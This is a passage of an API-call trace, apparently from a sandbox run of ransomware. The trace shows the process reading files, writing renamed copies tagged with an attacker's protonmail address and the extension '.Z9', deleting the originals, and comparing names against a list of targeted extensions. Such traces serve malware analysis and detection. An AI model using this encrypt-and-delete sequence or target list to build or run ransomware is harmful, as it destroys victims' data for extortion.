	[0072.605] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=38898) returned 1
	[0072.605] CloseHandle (hObject=0x368) returned 1
	[0072.606] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80
	[0072.606] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.606] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.606] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0072.606] GetLastError () returned 0x0
	[0072.606] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x97f2, lpOverlapped=0x0) returned 1
	[0073.137] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x9800, lpOverlapped=0x0) returned 1
	[0073.139] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.139] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0073.139] SetEndOfFile (hFile=0x370) returned 1
	[0073.139] CloseHandle (hObject=0x370) returned 1
	[0073.141] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.141] SetEndOfFile (hFile=0x368) returned 1
	[0073.142] CloseHandle (hObject=0x368) returned 1
	[0073.142] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0073.142] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1
	[0073.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.143] lstrlenW (lpString=".doc") returned 4
	[0073.143] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.143] lstrlenW (lpString=".docx") returned 5
	[0073.143] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0073.143] lstrlenW (lpString=".pdf") returned 4
	[0073.143] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.143] lstrlenW (lpString=".xls") returned 4
	[0073.143] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.143] lstrlenW (lpString=".xlsx") returned 5
	[0073.143] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0073.143] lstrlenW (lpString=".ppt") returned 4
	[0073.143] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.143] lstrlenW (lpString=".zip") returned 4
	[0073.143] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.143] lstrlenW (lpString=".rar") returned 4
	[0073.143] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.143] lstrlenW (lpString=".bz2") returned 4
	[0073.143] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.143] lstrlenW (lpString=".7z") returned 3
	[0073.143] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.143] lstrlenW (lpString=".dbf") returned 4
	[0073.143] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.143] lstrlenW (lpString=".1cd") returned 4
	[0073.143] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.143] lstrlenW (lpString=".jpg") returned 4
	[0073.143] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.143] lstrlenW (lpString=".doc") returned 4
	[0073.144] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.144] lstrlenW (lpString=".docx") returned 5
	[0073.144] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0073.144] lstrlenW (lpString=".pdf") returned 4
	[0073.144] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.144] lstrlenW (lpString=".xls") returned 4
	[0073.144] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.144] lstrlenW (lpString=".xlsx") returned 5
	[0073.144] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0073.144] lstrlenW (lpString=".ppt") returned 4
	[0073.144] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.144] lstrlenW (lpString=".zip") returned 4
	[0073.144] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.144] lstrlenW (lpString=".rar") returned 4
	[0073.144] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.144] lstrlenW (lpString=".bz2") returned 4
	[0073.144] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.144] lstrlenW (lpString=".7z") returned 3
	[0073.144] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.144] lstrlenW (lpString=".dbf") returned 4
	[0073.144] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.144] lstrlenW (lpString=".1cd") returned 4
	[0073.144] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0073.144] lstrlenW (lpString=".jpg") returned 4
	[0073.144] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.144] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0073.144] lstrlenW (lpString="ipsjpn.xml") returned 10
	[0073.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.946] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2522) returned 1
	[0073.946] CloseHandle (hObject=0x370) returned 1
	[0073.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20
	[0073.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.946] lstrlenW (lpString=".doc") returned 4
	[0073.946] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.946] lstrlenW (lpString=".docx") returned 5
	[0073.947] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0073.947] lstrlenW (lpString=".pdf") returned 4
	[0073.947] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.947] lstrlenW (lpString=".xls") returned 4
	[0073.947] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.947] lstrlenW (lpString=".xlsx") returned 5
	[0073.947] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0073.947] lstrlenW (lpString=".ppt") returned 4
	[0073.947] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.947] lstrlenW (lpString=".zip") returned 4
	[0073.947] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.947] lstrlenW (lpString=".rar") returned 4
	[0073.947] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.947] lstrlenW (lpString=".bz2") returned 4
	[0073.947] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.947] lstrlenW (lpString=".7z") returned 3
	[0073.947] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.947] lstrlenW (lpString=".dbf") returned 4
	[0073.947] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.947] lstrlenW (lpString=".1cd") returned 4
	[0073.947] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.947] lstrlenW (lpString=".jpg") returned 4
	[0073.947] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.947] lstrlenW (lpString=".doc") returned 4
	[0073.947] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.947] lstrlenW (lpString=".docx") returned 5
	[0073.947] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0073.947] lstrlenW (lpString=".pdf") returned 4
	[0073.947] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.948] lstrlenW (lpString=".xls") returned 4
	[0073.948] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.948] lstrlenW (lpString=".xlsx") returned 5
	[0073.948] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0073.948] lstrlenW (lpString=".ppt") returned 4
	[0073.948] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.948] lstrlenW (lpString=".zip") returned 4
	[0073.948] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.948] lstrlenW (lpString=".rar") returned 4
	[0073.948] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.948] lstrlenW (lpString=".bz2") returned 4
	[0073.948] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.948] lstrlenW (lpString=".7z") returned 3
	[0073.948] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.948] lstrlenW (lpString=".dbf") returned 4
	[0073.948] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.948] lstrlenW (lpString=".1cd") returned 4
	[0073.948] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61
	[0073.948] lstrlenW (lpString=".jpg") returned 4
	[0073.948] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.948] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0073.948] lstrlenW (lpString="ipsnld.xml") returned 10
	[0073.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.949] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2626) returned 1
	[0073.949] CloseHandle (hObject=0x370) returned 1
	[0073.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20
	[0073.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.949] lstrlenW (lpString=".doc") returned 4
	[0073.949] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.949] lstrlenW (lpString=".docx") returned 5
	[0073.949] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0073.949] lstrlenW (lpString=".pdf") returned 4
	[0073.949] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.949] lstrlenW (lpString=".xls") returned 4
	[0073.949] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.949] lstrlenW (lpString=".xlsx") returned 5
	[0073.949] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0073.949] lstrlenW (lpString=".ppt") returned 4
	[0073.949] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.949] lstrlenW (lpString=".zip") returned 4
	[0073.949] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.949] lstrlenW (lpString=".rar") returned 4
	[0073.949] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.949] lstrlenW (lpString=".bz2") returned 4
	[0073.949] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.949] lstrlenW (lpString=".7z") returned 3
	[0073.950] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.950] lstrlenW (lpString=".dbf") returned 4
	[0073.950] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.950] lstrlenW (lpString=".1cd") returned 4
	[0073.950] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.950] lstrlenW (lpString=".jpg") returned 4
	[0073.950] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.950] lstrlenW (lpString=".doc") returned 4
	[0073.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.950] lstrlenW (lpString=".docx") returned 5
	[0073.950] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0073.950] lstrlenW (lpString=".pdf") returned 4
	[0073.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.950] lstrlenW (lpString=".xls") returned 4
	[0073.950] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.950] lstrlenW (lpString=".xlsx") returned 5
	[0073.950] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0073.950] lstrlenW (lpString=".ppt") returned 4
	[0073.950] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.950] lstrlenW (lpString=".zip") returned 4
	[0073.950] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.950] lstrlenW (lpString=".rar") returned 4
	[0073.950] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.950] lstrlenW (lpString=".bz2") returned 4
	[0073.950] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.950] lstrlenW (lpString=".7z") returned 3
	[0073.950] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.950] lstrlenW (lpString=".dbf") returned 4
	[0073.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.951] lstrlenW (lpString=".1cd") returned 4
	[0073.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0073.951] lstrlenW (lpString=".jpg") returned 4
	[0073.951] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.951] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0073.951] lstrlenW (lpString="ipsnor.xml") returned 10
	[0073.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.952] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2580) returned 1
	[0073.952] CloseHandle (hObject=0x370) returned 1
	[0073.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20
	[0073.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.952] lstrlenW (lpString=".doc") returned 4
	[0073.952] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.952] lstrlenW (lpString=".docx") returned 5
	[0073.952] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0073.952] lstrlenW (lpString=".pdf") returned 4
	[0073.952] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.952] lstrlenW (lpString=".xls") returned 4
	[0073.952] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.952] lstrlenW (lpString=".xlsx") returned 5
	[0073.952] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0073.953] lstrlenW (lpString=".ppt") returned 4
	[0073.953] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.953] lstrlenW (lpString=".zip") returned 4
	[0073.953] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.953] lstrlenW (lpString=".rar") returned 4
	[0073.953] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.953] lstrlenW (lpString=".bz2") returned 4
	[0073.953] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.953] lstrlenW (lpString=".7z") returned 3
	[0073.953] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.953] lstrlenW (lpString=".dbf") returned 4
	[0073.953] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.953] lstrlenW (lpString=".1cd") returned 4
	[0073.953] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.953] lstrlenW (lpString=".jpg") returned 4
	[0073.953] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.953] lstrlenW (lpString=".doc") returned 4
	[0073.953] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.953] lstrlenW (lpString=".docx") returned 5
	[0073.953] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0073.953] lstrlenW (lpString=".pdf") returned 4
	[0073.953] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.953] lstrlenW (lpString=".xls") returned 4
	[0073.954] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.954] lstrlenW (lpString=".xlsx") returned 5
	[0073.954] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0073.954] lstrlenW (lpString=".ppt") returned 4
	[0073.954] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.954] lstrlenW (lpString=".zip") returned 4
	[0073.954] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.954] lstrlenW (lpString=".rar") returned 4
	[0073.954] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.954] lstrlenW (lpString=".bz2") returned 4
	[0073.954] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.954] lstrlenW (lpString=".7z") returned 3
	[0073.954] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.954] lstrlenW (lpString=".dbf") returned 4
	[0073.954] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.954] lstrlenW (lpString=".1cd") returned 4
	[0073.954] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0073.954] lstrlenW (lpString=".jpg") returned 4
	[0073.954] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.955] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0073.955] lstrlenW (lpString="ipsplk.xml") returned 10
	[0073.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.955] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2600) returned 1
	[0073.955] CloseHandle (hObject=0x370) returned 1
	[0073.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20
	[0073.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
